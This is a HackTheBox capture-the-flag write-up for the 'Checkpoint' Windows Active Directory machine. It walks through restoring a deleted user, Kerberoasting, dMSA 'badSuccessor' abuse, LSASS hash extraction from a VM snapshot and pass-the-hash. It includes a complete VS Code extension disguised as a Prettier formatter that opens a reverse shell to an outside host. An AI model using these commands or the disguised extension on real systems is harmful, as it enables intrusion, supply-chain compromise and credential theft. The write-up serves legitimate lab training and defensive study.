Back to Writeups

HTB Checkpoint

2026-06-17

  • HTB
  • Medium
  • Active Directory
  • Kerberoasting
  • BloodyAD
  • dMSA

Overview

Checkpoint is a Medium-difficulty Windows Active Directory box. No web service is exposed — the entire attack surface is AD, SMB, and Kerberos. The path to Domain Admin chains together a deleted-object recovery, a supply-chain attack against an automated VS Code extension pipeline, Kerberos TGT delegation abuse, the recently disclosed badSuccessor dMSA technique (CVE-2025-26708), and finally offline credential extraction from a VMware snapshot backup.

Starting credentials: alex.turner:Checkpoint2024!

User Flag

1. Initial Enumeration

With the provided credentials, I enumerated accessible SMB shares:

nxc smb 10.129.11.227 -u 'alex.turner' -p 'Checkpoint2024!' --shares

This turned up DevDrop (read-only at this point), the standard NETLOGON/SYSVOL, and VMBackups — no access yet, but the name alone was worth remembering for later.

2. User Enumeration

nxc smb 10.129.11.227 -u 'alex.turner' -p 'Checkpoint2024!' --users-export users.txt

3. Checking Writable AD Objects

With alex.turner's creds, I checked what AD objects were writable:

bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
  -u 'alex.turner' -p 'Checkpoint2024!' get writable
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

A deleted account, mark.davies, sitting in the Deleted Objects container — and alex.turner still holds WRITE over it.

4. Restoring the Deleted User

Soft-deleted AD objects keep their ACL entries in the Deleted Objects container — anyone who held write access before deletion still has it after, as long as the object hasn't been fully purged.

bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
  -u 'alex.turner' -p 'Checkpoint2024!' set restore \
  'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'

5. Kerberoasting Mark Davies

I added a fake SPN to the restored account to make it Kerberoastable:

bloodyad --host dc01.checkpoint.htb --dc-ip 10.129.11.227 -d checkpoint.htb \
  -u 'alex.turner' -p 'Checkpoint2024!' set object \
  'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' \
  servicePrincipalName -v 'HTTP/fakehost.checkpoint.htb'

Synced clocks with the DC (required for Kerberos to accept the request), then requested the ticket:

sudo ntpdate 10.129.11.227
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
  -dc-ip 10.129.11.227 -request-user mark.davies

Cracking the resulting TGS hash recovered mark.davies's password.

6. Uploading a Malicious VSIX Extension

Re-checking shares as mark.davies showed elevated access — READ/WRITE on DevDrop. The share description referenced approved .vsix extension packages, implying some automated process picks up and installs whatever lands there.

I built a minimal VS Code extension disguised as a formatter, with a reverse shell wired into its activation hook:

package.json

{
  "name": "malicious-drop",
  "displayName": "Prettier Formatter",
  "version": "0.0.1",
  "publisher": "microsoft",
  "engines": { "vscode": "^1.74.0" },
  "activationEvents": ["*"],
  "main": "./extension.js"
}

extension.js

const net = require("net");
const { exec } = require("child_process");

function activate(context) {
  const client = new net.Socket();
  client.connect(4444, "10.10.16.8", () => {
    const sh = exec("cmd.exe");
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    client.pipe(sh.stdin);
  });
}

exports.activate = activate;
exports.deactivate = () => {};

Packaged and uploaded it:

vsce package --allow-missing-repository --allow-star-activation
smbclient //10.129.11.227/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!'
smb: \> put malicious-drop-0.0.1.vsix

7. Catching the Shell and Reading the User Flag

nc -lvnp 4444

The scheduled extension-sync task fired shortly after, and I landed a shell as ryan.brooks.

C:\> type C:\Users\ryan.brooks\Desktop\user.txt

User flag: 9bf90dfa...

Root Flag

1. Enumerating ryan.brooks

From the shell as ryan.brooks, I checked group memberships and ACLs with BloodyAD/BloodHound and found CreateChild rights on OU=DMSAHolder — the prerequisite for a badSuccessor attack.

2. Extracting a TGT for ryan.brooks via Rubeus

Before attacking the OU, I needed a usable Kerberos ticket for ryan.brooks. Rather than needing the plaintext password, Rubeus tgtdeleg abuses the Kerberos GSS-API delegation path to pull a forwardable TGT for the currently logged-in user:

PS C:\users\ryan.brooks\desktop> .\Rubeus.exe tgtdeleg /nowrap

This returned a base64-encoded ticket blob, which I saved to a file on Kali as ticket.kirbi.

3. Converting the Ticket to ccache

My first conversion attempt failed — I'd forgotten the ticket was still base64-encoded text at that point, not raw binary:

impacket-ticketConverter ticket.kirbi ryan.ccache
[X] unknown file format

Decoding it first fixed the conversion:

base64 -d ticket.kirbi > ticket.kirbi
impacket-ticketConverter ticket.kirbi ryan.ccache
[*] converting kirbi to ccache ...
[+] done

export KRB5CCNAME=ryan.ccache

4. Confirming the Ticket Works

Synced time with the DC (Kerberos is strict about clock skew) and confirmed the ticket authenticated correctly:

sudo ntpdate checkpoint.htb
nxc smb 10.129.13.63 -u ryan.brooks -k --use-kcache

Authentication succeeded — the ccache ticket was valid.

5. Creating the dMSA with SharpSuccessor

With a working ticket for ryan.brooks, I created a delegated Managed Service Account (dMSA) under OU=DMSAHolder, configured to impersonate svc_deploy:

PS C:\users\ryan.brooks\desktop> .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dMSA

This wrote msDS-ManagedAccountPrecededByLink and msDS-SupersededServiceAccountState on the new dMSA object, pointing it at svc_deploy. This is the core of the badSuccessor technique (CVE-2025-26708): a dMSA configured to "succeed" an existing service account inherits that account's keys the moment its Kerberos material is requested — no password or hash of the target needed going in.

6. Extracting svc_deploy's Keys via bloodyAD

Back on Kali, I requested the impersonated ticket to actually pull svc_deploy's key material:

bloodyAD --host DC01.checkpoint.htb --dc-ip 10.129.14.6 -d checkpoint.htb \
  -u ryan.brooks -k add badSuccessor \
  -t "CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=CHECKPOINT,DC=HTB" attacker_dMSA

This returned svc_deploy's RC4/NTLM hash directly. Testing it confirmed valid access:

nxc smb 10.129.14.6 -u svc_deploy -H e16081eb077aca74bdbf8af12af43c9

7. Accessing VMBackups

svc_deploy's access unlocked the previously inaccessible VMBackups share, which held a VM backup — including a .vmem snapshot memory file. A VMware snapshot captures the full RAM of a running machine at snapshot time, including LSASS — meaning it holds live credential material frozen in a file.

8. Extracting Credentials with vmkatz

I ran vmkatz directly against the snapshot file, from a shell obtained as svc_deploy:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\vmkatz.exe \\DC01.checkpoint.htb\VMBackups\NightlyBackup_2024-11-01\'memory forensics'\'Windows Server 2019-Snapshot1.vmem'

vmkatz parsed the snapshot's memory the same way Mimikatz would parse a live LSASS dump, and recovered the local Administrator's NT hash: NT Hash : f29e9c014295b9b32139b09a2790be3b

9. Pass-the-Hash to Administrator and Reading Root

nxc smb 10.129.14.146 -u Administrator -H f29e9c014295b9b321**************
evil-winrm -i 10.129.14.146 -u Administrator -H f29e9c014295b9b321**************
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\users\max.palmer\desktop
*Evil-WinRM* PS C:\users\max.palmer\desktop> type root.txt

Root flag: a904888e...

Key Takeaways

  • Deleted AD objects retain their original ACLs. Anyone who held write access before deletion still holds it after — restoring a "deleted" account can hand back real privileges.
  • Any pipeline that auto-installs files dropped into a writable share (extensions, scripts, packages) is effectively an unauthenticated code execution path for anyone with write access to that share.
  • Rubeus tgtdeleg lets you bootstrap Kerberos delegation from a low-privilege shell without ever touching a plaintext password.
  • badSuccessor (CVE-2025-26708) turns CreateChild on an OU where dMSAs can be created into full impersonation of any targeted service account — no password or hash of the target needed going in.
  • VM backup infrastructure is a high-value target: a memory snapshot file is functionally an offline LSASS dump, and should be secured with at least the same rigor as the Domain Controller itself.